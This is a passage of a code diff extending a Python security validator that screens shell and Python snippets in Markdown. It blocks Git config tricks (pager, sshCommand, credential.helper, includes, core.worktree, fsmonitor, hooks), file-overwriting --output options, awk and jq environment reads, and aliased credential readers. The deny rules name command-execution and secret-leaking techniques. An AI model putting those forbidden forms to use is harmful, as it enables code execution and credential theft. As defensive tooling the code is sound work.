reviewed_shell_export_assignments: + return "unreviewed Git configuration environment assignment" + return None + + +reviewed_git_query_environment = { + "GIT_CONFIG_NOSYSTEM": "1", + "GIT_CONFIG_GLOBAL": "/dev/null", + "GIT_CONFIG_SYSTEM": "/dev/null", + "GIT_ATTR_NOSYSTEM": "1", +} + + +def git_query_environment_violation(tokens): + """Require standalone Git reads to clear inherited config before exec.""" + tokens = list(tokens) + while tokens and tokens[0] in {"if", "then", "else", "elif", "do", "while", "until", "!"}: + tokens.pop(0) + if not tokens or executable_basename(tokens[0]) != "env": + return "Git query requires an isolated env -i configuration" + if len(tokens) < 3 or tokens[1] != "-i": + return "Git query requires an isolated env -i configuration" + index = 2 + environment = {} + while index < len(tokens) and assignment.fullmatch(tokens[index]): + name, value = tokens[index].split("=", 1) + if name in environment: + return "Git query isolated environment contains a duplicate setting" + environment[name] = value + index += 1 + if environment != reviewed_git_query_environment: + return "Git query isolated environment must contain only reviewed Git settings" + if index >= len(tokens) or executable_basename(tokens[index]) != "git": + return "Git query isolation must invoke Git directly" + return None + def fence_details(line): """Normalize Markdown container prefixes before recognizing a fence.""" candidate = line @@ -7337,6 +7691,7 @@ def heredoc_descriptors(stripped): "delimiter": heredoc_match.group(2), "interpreter": tokens[0], "isolated": isolated, + "quoted": bool(heredoc_match.group(1)), } descriptors.append( {"delimiter": heredoc_match.group(2), "invocation": invocation} @@ -7389,6 +7744,7 @@ def reviewed_shell_preflight(stripped): def shell_commands(markdown): shell_owned_path_variables.clear() shell_pending_owned_bindings.clear() + shell_sensitive_variable_names.clear() in_shell = False shell_fence = None shell_fence_prefix = "" @@ -7413,6 +7769,7 @@ def shell_commands(markdown): in_shell = True shell_fence = marker shell_fence_prefix = fence_container_prefix(line) + shell_sensitive_variable_names.clear() continue if not in_shell: continue @@ -7432,6 +7789,17 @@ def shell_commands(markdown): command = " ".join(pending) if shell_quote_pending(command): continue + segments, operators = shell_segments_with_operators(command) + for index, segment in enumerate(segments): + previous_operator = operators[index - 1] if index else None + next_operator = operators[index] if index < len(operators) else None + preserve_existing = previous_operator in {"&&", "||", "|", "&"} or ( + index == 0 and next_operator == "|" + ) + if segment and all(assignment.fullmatch(token) for token in segment): + shell_record_sensitive_assignments( + segment, preserve_existing=preserve_existing + ) unsafe_heredocs = non_python_heredoc_delimiters(command) if unsafe_heredocs: raise SystemExit( @@ -7442,10 +7810,20 @@ def shell_commands(markdown): shell_owned_directory_proof(command) if shell_assignment_only(command): if ( + not any( + shell_git_config_assignment_violation(segment) + for segment in shell_token_segments(command) + ) + and not any( shell_command_substitution(segment) for segment in shell_token_segments(command) ) + and not any( + "${!" in token + for segment in shell_token_segments(command) + for token in segment + ) and not shell_process_substitution(command) ): pending = [] @@ -7542,19 +7920,25 @@ def python_heredoc_bodies(markdown): + ": unterminated heredoc body" ) -def shell_token_segments(command): +def shell_segments_with_operators(command): try: lexer = shlex.shlex(command, posix=True, punctuation_chars=";&|") lexer.whitespace_split = True tokens = list(lexer) except ValueError: - return [] + return [], [] segments = [[]] + operators = [] for token in tokens: if token in {";", "&&", "||", "|", "&"}: + operators.append(token) segments.append([]) else: segments[-1].append(token) + return segments, operators + +def shell_token_segments(command): + segments, _operators = shell_segments_with_operators(command) return [segment for segment in segments if segment] def shell_assignment_only(command): @@ -7712,9 +8096,7 @@ def shell_reviewed_reader_path(token): return False if token.startswith(reviewed_reader_path_prefixes): return True - if token.startswith(".") and token not in {".", "./"}: - return False - return True + return False def shell_mkdir_violation(tokens): @@ -7855,7 +8237,7 @@ def shell_trap_violation(tokens, depth=0): for segment in segments: if reviewed_shell_cleanup(segment): continue - violation = forbidden_command(segment, depth + 1) + violation = forbidden_shell_command(segment, depth + 1) if violation: return f"trap handler -> {violation}" return None @@ -7926,6 +8308,8 @@ def git_config_delegation(assignment, *, config_env=False): else: key, value = assignment.split("=", 1) key = key.lower() + if key == "core.worktree": + return "Git core.worktree redirection is not allowed" if key == "core.pager" or key == "pager" or key.startswith("pager."): return "Git pager command delegation is not allowed" if key in {"core.sshcommand", "credential.helper"}: @@ -8025,11 +8409,14 @@ git_read_only_subcommands = { git_config_read_only_options = { "--get", "--get-all", - "--get-regexp", "--get-urlmatch", - "--list", - "-l", - "--name-only", + "--get-regexp", +} +git_config_bounded_regexp_queries = {r"^filter\."} +git_config_reviewed_query_keys = { + "--get": {"core.repositoryformatversion"}, + "--get-all": {"remote.origin.url"}, + "--get-urlmatch": {"http.sslverify"}, } git_config_mutating_options = { "--add", @@ -8047,8 +8434,8 @@ git_config_mutating_options = { } -def git_subcommand(tokens): - """Return the first Git subcommand after global/config options.""" +def git_subcommand_index(tokens): + """Return the first Git subcommand index after global/config options.""" index = 1 while index < len(tokens): token = tokens[index] @@ -8069,9 +8456,28 @@ def git_subcommand(tokens): if token.startswith("-"): index += 1 continue - return executable_basename(token) + return index return None +def git_subcommand(tokens): + """Return the first Git subcommand after global/config options.""" + index = git_subcommand_index(tokens) + return executable_basename(tokens[index]) if index is not None else None + + +def git_config_include_key(key): + """Recognize include directives that can load executable Git config.""" + normalized = key.casefold() + return normalized == "include.path" or re.fullmatch( + r"includeif\..+\.path", normalized + ) is not None + + +def git_config_include_option(token): + """Recognize full and abbreviated positive --includes config options.""" + option = token.split("=", 1)[0].lower() + return len(option) > 2 and "--includes".startswith(option) + def git_filter_attribute_violation(tokens): """Reject Git filters and external attribute configuration before reads.""" @@ -8082,6 +8488,8 @@ def git_filter_attribute_violation(tokens): def config_violation(assignment): key = assignment.split("=", 1)[0].lower() + if git_config_include_key(key): + return "Git configuration includes are not allowed before read-only commands" if key.startswith("filter.") or key in forbidden_keys: return "Git filter/external-attributes configuration is not allowed" return None @@ -8120,11 +8528,20 @@ def git_filter_attribute_violation(tokens): for token in tokens ): return "Git filter/external-attributes configuration is not allowed" + if subcommand == "config" and any( + git_config_include_option(token) for token in tokens[1:] + ): + return "Git configuration includes are not allowed before read-only commands" + if subcommand == "config" and any( + git_config_include_key(token.split("=", 1)[0]) + for token in tokens[1:] + ): + return "Git configuration includes are not allowed before read-only commands" return None def git_diff_path_violation(tokens): - """Require reviewed paths for Git diff --no-index and --output operands.""" + """Require reviewed --no-index inputs and reject Git diff file output.""" if not tokens or executable_basename(tokens[0]) != "git": return None index = 1 @@ -8150,7 +8567,6 @@ def git_diff_path_violation(tokens): return None arguments = tokens[index + 1:] no_index = False - output_paths = [] path_operands = [] after_separator = False position = 0 @@ -8162,13 +8578,8 @@ def git_diff_path_violation(tokens): break if token == "--no-index": no_index = True - elif token == "--output": - if position + 1 >= len(arguments): - return "Git diff --output requires a reviewed path" - output_paths.append(arguments[position + 1]) - position += 1 - elif token.startswith("--output="): - output_paths.append(token.split("=", 1)[1]) + elif token == "--output" or token.startswith("--output="): + return "Git diff --output can overwrite files and is not allowed" elif token.startswith("-"): pass elif not after_separator: @@ -8176,7 +8587,7 @@ def git_diff_path_violation(tokens): position += 1 if no_index and len(path_operands) < 2: return "Git diff --no-index requires two reviewed paths" - paths = output_paths + (path_operands if no_index else []) + paths = path_operands if no_index else [] for path in paths: if path == "__g01_reviewed_dynamic_path__": continue @@ -8185,11 +8596,72 @@ def git_diff_path_violation(tokens): return None +def git_query_protection_violation(tokens): + """Require pager, fsmonitor and hook protections on every read-only query.""" + if not tokens or executable_basename(tokens[0]) != "git": + return None + subcommand_index = git_subcommand_index(tokens) + if subcommand_index is None: + return "Git query must name an approved read-only subcommand" + global_options = tokens[1:subcommand_index] + if not any(option in {"-P", "--no-pager"} for option in global_options): + return "Git query must disable the configured pager" + required = { + "core.fsmonitor": "false", + "core.hookspath": "/dev/null", + } + observed = {} + index = 0 + while index < len(global_options): + token = global_options[index] + if token == "--config-env" and index + 1 < len(global_options): + key = normalized_git_config_key(global_options[index + 1]) + if key in required: + return f"Git query {key} protection cannot be environment-overridden" + index += 2 + continue + if token.startswith("--config-env="): + key = normalized_git_config_key(token.split("=", 1)[1]) + if key in required: + return f"Git query {key} protection cannot be environment-overridden" + index += 1 + continue + setting = None + if token == "-c" and index + 1 < len(global_options): + setting = global_options[index + 1] + index += 2 + elif token.startswith("-c="): + setting = token[3:] + index += 1 + elif token.startswith("-c") and len(token) > 2: + setting = token[2:] + index += 1 + else: + index += 1 + if setting is None: + continue + key = normalized_git_config_key(setting) + if key in required: + if "=" not in setting or setting.split("=", 1)[1] != required[key]: + return f"Git query {key} protection has an unreviewed value" + if key in observed: + return f"Git query {key} protection is duplicated" + observed[key] = setting.split("=", 1)[1] + if observed != required: + return "Git query requires explicit core.fsmonitor=false and core.hooksPath=/dev/null" + return None + + def git_read_only_violation(tokens): """Allow only the packet's read-only Git queries; reject remote/mutating Git.""" if not tokens or executable_basename(tokens[0]) != "git": return None subcommand = git_subcommand(tokens) + if subcommand == "show" and any( + token == "--output" or token.startswith("--output=") + for token in tokens[1:] + ): + return "Git show --output can overwrite files and is not allowed" diff_path_violation = git_diff_path_violation(tokens) if diff_path_violation: return diff_path_violation @@ -8200,6 +8672,9 @@ def git_read_only_violation(tokens): if subcommand is None: return "Git command must name an approved read-only subcommand" return f"Git {subcommand} subcommand is not allowed" + protection_violation = git_query_protection_violation(tokens) + if protection_violation: + return protection_violation if subcommand == "ls-remote": index = 1 while index < len(tokens): @@ -8225,17 +8700,59 @@ def git_read_only_violation(tokens): if tokens[index:] != ["ls-remote", "."]: return "Git ls-remote is restricted to the literal local repository form" if subcommand == "config": - options = tokens[1:] + config_index = git_subcommand_index(tokens) + options = tokens[config_index + 1:] if config_index is not None else [] + if any( + option in {"--global", "-g", "--system", "-s", "--worktree", "--show-origin", "--show-scope"} + for option in options + ): + return "Git config query scope/origin is not allowed" if any( option == mutating or option.startswith(mutating + "=") for option in options for mutating in git_config_mutating_options ): return "Git config mutation is not allowed" - if not any(option in git_config_read_only_options for option in options): + if options.count("--local") > 1: + return "Git config query scope is duplicated" + query = [option for option in options if option != "--local"] + if not query or query[0] not in git_config_read_only_options: + return "Git config query must use an approved read-only option" + query_option = query[0] + operands = query[1:] + if query_option == "--get-regexp": + if ( + "--local" not in options + or len(operands) != 1 + or operands[0] not in git_config_bounded_regexp_queries + ): + return "Git config regex query is not a bounded local query" + elif query_option in git_config_reviewed_query_keys: + expected_operands = 1 if query_option in {"--get", "--get-all"} else 2 + if ( + len(operands) != expected_operands + or operands[0] not in git_config_reviewed_query_keys[query_option] + ): + return "Git config query key is not in the reviewed allowlist" + if query_option == "--get-urlmatch" and not operands[1].startswith("https://"): + return "Git config URL-match query requires a literal HTTPS URL" + else: return "Git config query must use an approved read-only option" return None +def git_sensitive_shell_output_violation(tokens): + """Do not print the raw local origin URL from an executable shell query.""" + if not tokens or executable_basename(tokens[0]) != "git": + return None + config_index = git_subcommand_index(tokens) + if config_index is None or executable_basename(tokens[config_index]) != "config": + return None + options = tokens[config_index + 1:] + query = [option for option in options if option != "--local"] + if query == ["--get-all", "remote.origin.url"]: + return "Git remote.origin.url output is not allowed in an executable shell" + return None + unsupported_shell_compound_words = { "case", "esac", "function", "select", "coproc", "for", "while", "until", @@ -8543,6 +9060,8 @@ def awk_command_violation(tokens): or token.startswith("--exec=") or (token.startswith("--exec") and token != "--exec") or re.search(r"\bsystem\s*\(", token) + or re.search(r"\bENVIRON\b", token) + or re.search(r"\bARGV\b", token) or "getline" in token or output_pipe(token) or output_redirection(token) @@ -8551,6 +9070,23 @@ def awk_command_violation(tokens): return None +def jq_command_violation(tokens): + """Reject jq filters that read inherited environment values.""" + if not tokens or executable_basename(tokens[0]).casefold() != "jq": + return None + for token in tokens[1:]: + if token == "-L" or token.startswith("-L") and len(token) > 2: + return "jq external module search paths are not allowed" + if re.search(r"\b(?:include|import)\b", token): + return "jq external module loading is not allowed" + if re.search( + r"(?", ">>", "1>", "1>>", "2>", "2>>", "&>", "&>>", "<", "0<"}: + if token in {"<<<", "<", "0<"}: + reviewed_operand = True + position += 2 + continue + if token.startswith((">", "1>", "2>", "&>", "<", "0<")): + position += 1 + continue + if not operand_mode and executable == "rg" and token in {"--glob", "--iglob", "-g"}: + position += 2 + continue + if not operand_mode and executable == "grep" and ( + token == "-d" or (token.startswith("--dir") and "=" not in token) + ): + position += 2 + continue + if not operand_mode and executable in {"grep", "rg"} and token in {"-e", "--regexp"}: + position += 1 + if position >= len(tokens): + return "reader pattern option requires an expression" + expression_consumed = True + elif not operand_mode and option in file_options: + if "=" in token: + path = token.split("=", 1)[1] + else: + position += 1 + if position >= len(tokens): + return "reader file option requires a reviewed path" + path = tokens[position] + if not shell_reviewed_reader_path(path): + return "reader option path is not reviewed or packet-owned" + expression_consumed = True + elif not operand_mode and token.startswith("-f") and "-f" in file_options and len(token) > 2: + if not shell_reviewed_reader_path(token[2:]): + return "reader option path is not reviewed or packet-owned" + expression_consumed = True + elif not operand_mode and (token == "<<<" or token.startswith("-")): + position += 1 continue - if not shell_reviewed_reader_path(token): + elif executable == "tr" or not expression_consumed: + expression_consumed = True + elif (executable == "rg" or recursive_grep) and token in {".", "./"}: + return "recursive readers may not use the repository root as an operand" + elif not shell_reviewed_reader_path(token): return "reader path is not reviewed or packet-owned" + else: + reviewed_operand = True + position += 1 + if executable == "rg" and not reviewed_operand: + return "rg requires an explicit reviewed reader path" return None @@ -8611,12 +9226,76 @@ def go_command_violation(tokens): ) -def forbidden_command(tokens, depth=0): - tokens = list(tokens) +reviewed_shell_export_assignments = { + "PATH=/opt/homebrew/bin:/usr/bin:/bin", + "GIT_CONFIG_NOSYSTEM=1", + "GIT_CONFIG_GLOBAL=/dev/null", + "GIT_CONFIG_SYSTEM=/dev/null", + "GIT_CONFIG_COUNT=2", + "GIT_CONFIG_KEY_0=core.fsmonitor", + "GIT_CONFIG_VALUE_0=false", + "GIT_CONFIG_KEY_1=core.hooksPath", + "GIT_CONFIG_VALUE_1=/dev/null", + "GIT_ATTR_NOSYSTEM=1", +} + + +def shell_environment_builtin_violation(tokens): + """Reject shell builtins that can print inherited variables.""" if not tokens: return None - sensitive_parameter_violation = shell_sensitive_parameter_violation(tokens) - if sensitive_parameter_violation: + executable = executable_basename(tokens[0]) + if executable == "set": + if tokens == ["set", "-euo", "pipefail"]: + return None + return "shell set is allowed only as the exact reviewed 'set -euo pipefail' form" + if executable == "export": + assignments = tokens[1:] + if not assignments or any( + not assignment.fullmatch(value) + or value not in reviewed_shell_export_assignments + for value in assignments + ): + return "shell export requires explicit reviewed assignments" + return None + + +def git_config_environment_include_violation(tokens): + """Reject include keys injected through Git's numbered config environment.""" + for token in tokens: + if not assignment.fullmatch(token): + continue + name, value = token.split("=", 1) + if name.upper() == "GIT_CONFIG_PARAMETERS": + return "Git configuration parameters are not allowed before read-only commands" + if not re.fullmatch(r"GIT_CONFIG_KEY_[0-9]+", name, re.IGNORECASE): + continue + key = value.split("=", 1)[0] + if git_config_include_key(key): + return "Git configuration includes are not allowed before read-only commands" + if key.casefold() == "core.worktree": + return "Git core.worktree redirection is not allowed" + return None + + +reviewed_absolute_executable_paths = { + "/opt/homebrew/bin/python3", + "/bin/bash", + "/bin/sh", + "/usr/bin/git", + "/usr/bin/env", +} + +def forbidden_command(tokens, depth=0): + tokens = list(tokens) + if not tokens: + return None + original_tokens = list(tokens) + git_config_assignment_violation = shell_git_config_assignment_violation(tokens) + if git_config_assignment_violation: + return git_config_assignment_violation + sensitive_parameter_violation = shell_sensitive_parameter_violation(tokens) + if sensitive_parameter_violation: return sensitive_parameter_violation if any( token == "GIT_EXTERNAL_DIFF" @@ -8643,7 +9322,18 @@ def forbidden_command(tokens, depth=0): ) tokens = executable_tokens(tokens) if not tokens: + if any(executable_basename(token) == "env" for token in original_tokens): + return "env without a child command can print inherited environment values" return None + if executable_basename(tokens[0]) == "git": + git_environment_violation = git_query_environment_violation(original_tokens) + if git_environment_violation: + return git_environment_violation + if "/" in tokens[0] and tokens[0] not in reviewed_absolute_executable_paths: + return "executable path is outside the reviewed absolute locations" + environment_builtin_violation = shell_environment_builtin_violation(tokens) + if environment_builtin_violation: + return environment_builtin_violation if tokens[0] == "[": return None if tokens[0] == unsupported_env_wrapper_token: @@ -8656,6 +9346,12 @@ def forbidden_command(tokens, depth=0): return "RIPGREP_CONFIG_PATH configuration is not allowed" if unresolved_executable(tokens[0]): return "unresolved or parameter-expanded executable is not allowed" + if executable_basename(tokens[0]) == "git": + environment_include_violation = git_config_environment_include_violation( + original_tokens + ) + if environment_include_violation: + return environment_include_violation trap_violation = shell_trap_violation(tokens, depth) if trap_violation: return trap_violation @@ -8683,6 +9379,9 @@ def forbidden_command(tokens, depth=0): reader_path_violation = shell_reader_path_violation(tokens) if reader_path_violation: return reader_path_violation + jq_violation = jq_command_violation(tokens) + if jq_violation: + return jq_violation awk_violation = awk_command_violation(tokens) if awk_violation: return awk_violation @@ -8697,7 +9396,7 @@ def forbidden_command(tokens, depth=0): return f"{executable} -c nested command-string depth exceeded" if payload is not None: for nested_segment in shell_token_segments(payload): - nested_violation = forbidden_command(nested_segment, depth + 1) + nested_violation = forbidden_shell_command(nested_segment, depth + 1) if nested_violation: return f"{executable} -c -> {nested_violation}" return f"{executable} -c command string" @@ -8745,6 +9444,14 @@ def forbidden_command(tokens, depth=0): return f"{executable} shell executable is not in the reviewed safe allowlist" return None +def forbidden_shell_command(tokens, depth=0): + normalized = executable_tokens(tokens) + if normalized: + sensitive_git_output = git_sensitive_shell_output_violation(normalized) + if sensitive_git_output: + return sensitive_git_output + return forbidden_command(tokens, depth) + python_command_functions = { "os.execv", "os.execve", @@ -8915,14 +9622,25 @@ def python_import_path_mutation_violation(tree): def python_credential_reader_aliases(tree): """Resolve only aliases of credential-bearing environment readers.""" + cached = getattr(tree, "_issue79_credential_reader_aliases", None) + if cached is not None: + return cached reader_names = { "os.getenv", + "os.getenvb", "os.environ.get", "os.environ.setdefault", "os.environ.pop", "os.environ.__getitem__", } aliases = set() + aliases.update( + alias.asname or alias.name + for node in ast.walk(tree) + if isinstance(node, ast.ImportFrom) and node.module == "os" + for alias in node.names + if alias.name == "getenvb" + ) assignments = [] for node in ast.walk(tree): if isinstance(node, ast.Assign): @@ -8945,6 +9663,655 @@ def python_credential_reader_aliases(tree): changed = True if not changed: break + tree._issue79_credential_reader_aliases = frozenset(aliases) + return tree._issue79_credential_reader_aliases + + +def python_lexical_scope_chain(scope, parents): + """Return the current scope and its enclosing lexical scopes.""" + chain = [] + seen = set() + while scope is not None and id(scope) not in seen: + seen.add(id(scope)) + chain.append(scope) + if isinstance(scope, ast.Module): + break + scope = python_enclosing_scope(parents.get(scope), parents) + return chain + + +def python_local_function_candidates(name, call_node, tree, parents): + """Resolve same-name helpers visible from the call's lexical scope.""" + index = getattr(tree, "_issue79_local_function_index", None) + if index is None: + functions_by_scope = {} + aliases_by_scope = {} + for candidate in ast.walk(tree): + if isinstance(candidate, (ast.FunctionDef, ast.AsyncFunctionDef)): + binding_scope = python_enclosing_scope( + parents.get(candidate), parents + ) + functions_by_scope.setdefault( + (id(binding_scope), candidate.name), [] + ).append(candidate) + elif isinstance(candidate, (ast.Assign, ast.AnnAssign, ast.NamedExpr)): + binding_scope = python_enclosing_scope(candidate, parents) + targets = candidate.targets if isinstance(candidate, ast.Assign) else [candidate.target] + value = candidate.value + if not isinstance(value, ast.Name): + continue + for target in targets: + if isinstance(target, ast.Name): + aliases_by_scope.setdefault( + (id(binding_scope), target.id), set() + ).add(value.id) + index = (functions_by_scope, aliases_by_scope) + tree._issue79_local_function_index = index + functions_by_scope, aliases_by_scope = index + visible_scopes = set( + python_lexical_scope_chain(python_enclosing_scope(call_node, parents), parents) + ) + names = {name} + for _ in range(len(aliases_by_scope) + 1): + changed = False + for scope in visible_scopes: + for (binding_scope_id, target_name), source_names in aliases_by_scope.items(): + if binding_scope_id == id(scope) and target_name in names: + for source_name in source_names: + if source_name not in names: + names.add(source_name) + changed = True + if not changed: + break + return [ + candidate + for scope in visible_scopes + for candidate_name in names + for candidate in functions_by_scope.get((id(scope), candidate_name), ()) + ] + + +def python_local_lambda_candidates(name, call_node, tree, parents): + """Resolve assigned lambdas visible from a local call site.""" + visible_scopes = set( + python_lexical_scope_chain(python_enclosing_scope(call_node, parents), parents) + ) + assignments_by_scope = {} + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Assign): + targets, value = candidate.targets, candidate.value + elif ( + isinstance(candidate, (ast.AnnAssign, ast.NamedExpr)) + and candidate.value is not None + ): + targets, value = [candidate.target], candidate.value + else: + continue + binding_scope = python_enclosing_scope(candidate, parents) + for target in targets: + if isinstance(target, ast.Name): + assignments_by_scope.setdefault( + (id(binding_scope), target.id), [] + ).append(value) + + def resolve(candidate_name, seen): + if candidate_name in seen: + return [] + seen.add(candidate_name) + candidates = [] + for scope in visible_scopes: + for value in assignments_by_scope.get( + (id(scope), candidate_name), () + ): + if isinstance(value, ast.Lambda): + candidates.append(value) + elif isinstance(value, ast.Name): + candidates.extend(resolve(value.id, set(seen))) + return candidates + + return resolve(name, set()) + + +def python_static_string_values(node, tree): + """Resolve literal strings through simple local assignment aliases.""" + assignments = getattr(tree, "_issue79_string_assignment_index", None) + if assignments is None: + assignments = {} + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Assign): + targets = candidate.targets + elif isinstance(candidate, (ast.AnnAssign, ast.NamedExpr)): + targets = [candidate.target] + else: + continue + for target in targets: + if isinstance(target, ast.Name) and candidate.value is not None: + assignments.setdefault(target.id, []).append(candidate.value) + tree._issue79_string_assignment_index = assignments + + def resolve_literal_string_values(value, seen): + if isinstance(value, ast.Constant) and isinstance(value.value, str): + return {value.value} + if isinstance(value, ast.BinOp) and isinstance(value.op, ast.Add): + left = resolve_literal_string_values(value.left, set(seen)) + right = resolve_literal_string_values(value.right, set(seen)) + if not left or not right or len(left) * len(right) > 16: + return set() + combined = {first + second for first in left for second in right} + return { + candidate for candidate in combined if len(candidate) <= 256 + } + if not isinstance(value, ast.Name) or value.id in seen: + return set() + return set().union(*( + resolve_literal_string_values(candidate, seen | {value.id}) + for candidate in assignments.get(value.id, ()) + )) + + return resolve_literal_string_values(node, set()) + + +def python_static_string_values_from_local_calls(node, tree, parents, seen=None): + """Resolve literal strings returned by visible local helpers without execution.""" + if node is None: + return set() + if seen is None: + seen = set() + if id(node) in seen: + return set() + seen.add(id(node)) + values = set(python_static_string_values(node, tree)) + if isinstance(node, ast.Name): + assignments = getattr(tree, "_issue79_string_assignment_index", {}) + for value in assignments.get(node.id, ()): + if isinstance(value, ast.Call): + values.update( + python_static_string_values_from_local_calls( + value, tree, parents, set(seen) + ) + ) + elif isinstance(node, ast.Call): + for returned in python_local_call_return_values(node, tree, parents): + values.update( + python_static_string_values_from_local_calls( + returned, tree, parents, set(seen) + ) + ) + return values + + +def python_local_call_return_values(call_node, tree, parents): + """Resolve returned expressions from visible local functions, methods, and lambdas.""" + if not isinstance(call_node, ast.Call): + return [] + call_scope = python_enclosing_scope(call_node, parents) + visible_scopes = set(python_lexical_scope_chain(call_scope, parents)) + index = getattr(tree, "_issue79_local_return_index", None) + if index is None: + assignments_by_scope = {} + methods_by_scope = {} + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Assign): + targets, value = candidate.targets, candidate.value + elif ( + isinstance(candidate, (ast.AnnAssign, ast.NamedExpr)) + and candidate.value is not None + ): + targets, value = [candidate.target], candidate.value + else: + targets = [] + value = None + binding_scope = python_enclosing_scope(candidate, parents) + for target in targets: + if isinstance(target, ast.Name): + assignments_by_scope.setdefault( + (id(binding_scope), target.id), [] + ).append(value) + if isinstance(candidate, ast.ClassDef): + for method in candidate.body: + if isinstance(method, (ast.FunctionDef, ast.AsyncFunctionDef)): + methods_by_scope.setdefault( + ( + id(binding_scope), + candidate.name, + method.name, + ), + [], + ).append(method) + index = (assignments_by_scope, methods_by_scope) + tree._issue79_local_return_index = index + assignments_by_scope, methods_by_scope = index + + def returned_values(function): + if isinstance(function, ast.Lambda): + return [function.body] + return [ + candidate.value + for candidate in ast.walk(function) + if isinstance(candidate, (ast.Return, ast.Yield, ast.YieldFrom)) + and candidate.value is not None + and python_enclosing_scope(candidate, parents) is function + ] + + def lambda_bindings(name, seen=None): + if seen is None: + seen = set() + if name in seen: + return [] + seen.add(name) + values = [] + for scope in visible_scopes: + for value in assignments_by_scope.get((id(scope), name), ()): + if isinstance(value, ast.Lambda): + values.extend(returned_values(value)) + elif isinstance(value, ast.Name): + values.extend(lambda_bindings(value.id, set(seen))) + return values + + def method_return_values(attribute): + class_names = set() + + def resolve_receiver(value, seen_names=None, seen_nodes=None): + if seen_names is None: + seen_names = set() + if seen_nodes is None: + seen_nodes = set() + if id(value) in seen_nodes: + return + seen_nodes.add(id(value)) + if isinstance(value, ast.Call) and isinstance(value.func, ast.Name): + class_names.update(python_local_class_alias_names( + value.func.id, attribute.attr, visible_scopes, + methods_by_scope, assignments_by_scope, + )) + for returned in python_local_call_return_values(value, tree, parents): + resolve_receiver(returned, set(seen_names), set(seen_nodes)) + elif isinstance(value, ast.Name) and value.id not in seen_names: + seen_names.add(value.id) + if value.id != "self": + binding_scopes = set(python_lexical_scope_chain( + python_enclosing_scope(value, parents), parents + )) or visible_scopes + for scope in binding_scopes: + for assignment in assignments_by_scope.get( + (id(scope), value.id), () + ): + resolve_receiver(assignment, set(seen_names), set(seen_nodes)) + else: + enclosing = call_scope + while enclosing is not None and not isinstance(enclosing, ast.ClassDef): + enclosing = parents.get(enclosing) + if isinstance(enclosing, ast.ClassDef): + class_names.add(enclosing.name) + + resolve_receiver(attribute.value) + return [ + value + for scope in visible_scopes + for class_name in class_names + for method in methods_by_scope.get( + (id(scope), class_name, attribute.attr), () + ) + for value in returned_values(method) + ] + + def bound_method_bindings(name, seen=None): + if seen is None: + seen = set() + if name in seen: + return [] + seen.add(name) + values = [] + for scope in visible_scopes: + for value in assignments_by_scope.get((id(scope), name), ()): + if isinstance(value, ast.Attribute): + values.extend(method_return_values(value)) + elif ( + isinstance(value, ast.Call) + and python_dotted_name(value.func) == "getattr" + and len(value.args) in {2, 3} + ): + for attribute in python_static_string_values(value.args[1], tree): + values.extend(method_return_values(ast.Attribute( + value=value.args[0], attr=attribute, ctx=ast.Load(), + ))) + if len(value.args) == 3: + fallback = value.args[2] + if isinstance(fallback, ast.Lambda): + values.extend(returned_values(fallback)) + elif isinstance(fallback, ast.Name): + values.extend( + result + for candidate in python_local_function_candidates( + fallback.id, call_node, tree, parents + ) + for result in returned_values(candidate) + ) + elif isinstance(value, ast.Name): + values.extend(bound_method_bindings(value.id, set(seen))) + return values + + function = call_node.func + if isinstance(function, ast.Lambda): + return returned_values(function) + if isinstance(function, ast.Name): + values = [ + value + for candidate in python_local_function_candidates( + function.id, call_node, tree, parents + ) + for value in returned_values(candidate) + ] + return values + lambda_bindings(function.id) + bound_method_bindings(function.id) + if isinstance(function, ast.Attribute): + return method_return_values(function) + return [] + + +def python_local_class_alias_names(name, method_name, scopes, methods_by_scope, assignments_by_scope): + """Resolve scoped class-name aliases for known local method receivers.""" + found = set() + + def visit_expression(expression, seen): + if isinstance(expression, ast.Name): + visit(expression.id, set(seen)) + elif isinstance(expression, ast.IfExp): + visit_expression(expression.body, set(seen)) + visit_expression(expression.orelse, set(seen)) + elif ( + isinstance(expression, ast.Subscript) + and isinstance(expression.value, (ast.List, ast.Tuple)) + ): + index = expression.slice + if isinstance(index, ast.Index): + index = index.value + if isinstance(index, ast.Constant) and isinstance(index.value, int) and not isinstance(index.value, bool): + elements = expression.value.elts + if -len(elements) <= index.value < len(elements): + visit_expression(elements[index.value], set(seen)) + + def visit(candidate, seen): + if candidate in seen: + return + seen.add(candidate) + if any( + (id(scope), candidate, method_name) in methods_by_scope + for scope in scopes + ): + found.add(candidate) + return + for scope in scopes: + for assigned in assignments_by_scope.get((id(scope), candidate), ()): + visit_expression(assigned, set(seen)) + + visit(name, set()) + return found + + +def python_local_method_candidates(attribute, call_node, tree, parents): + """Resolve local methods for known instance and local-factory receivers.""" + if not isinstance(attribute, ast.Attribute): + return [] + index = getattr(tree, "_issue79_local_return_index", None) + if index is None: + python_local_call_return_values(call_node, tree, parents) + index = getattr(tree, "_issue79_local_return_index", None) + if index is None: + return [] + assignments_by_scope, methods_by_scope = index + call_scope = python_enclosing_scope(call_node, parents) + visible_scopes = set(python_lexical_scope_chain(call_scope, parents)) + if not any( + binding_scope_id == id(scope) and method_name == attribute.attr + for binding_scope_id, _class_name, method_name in methods_by_scope + for scope in visible_scopes + ): + return [] + class_names = set() + + def resolve_receiver(value, seen_names=None, seen_nodes=None): + if seen_names is None: + seen_names = set() + if seen_nodes is None: + seen_nodes = set() + if id(value) in seen_nodes: + return + seen_nodes.add(id(value)) + if isinstance(value, ast.Call) and isinstance(value.func, ast.Name): + class_names.update(python_local_class_alias_names( + value.func.id, attribute.attr, visible_scopes, + methods_by_scope, assignments_by_scope, + )) + for returned in python_local_call_return_values(value, tree, parents): + resolve_receiver(returned, set(seen_names), set(seen_nodes)) + elif isinstance(value, ast.Name) and value.id not in seen_names: + seen_names.add(value.id) + if value.id != "self": + class_names.update(python_local_class_alias_names( + value.id, attribute.attr, visible_scopes, + methods_by_scope, assignments_by_scope, + )) + binding_scopes = set(python_lexical_scope_chain( + python_enclosing_scope(value, parents), parents + )) or visible_scopes + for scope in binding_scopes: + for assignment in assignments_by_scope.get( + (id(scope), value.id), () + ): + resolve_receiver( + assignment, set(seen_names), set(seen_nodes) + ) + else: + enclosing = call_scope + while enclosing is not None and not isinstance( + enclosing, ast.ClassDef + ): + enclosing = parents.get(enclosing) + if isinstance(enclosing, ast.ClassDef): + class_names.add(enclosing.name) + + resolve_receiver(attribute.value) + return [ + method + for scope in visible_scopes + for class_name in class_names + for method in methods_by_scope.get( + (id(scope), class_name, attribute.attr), () + ) + ] + + +def 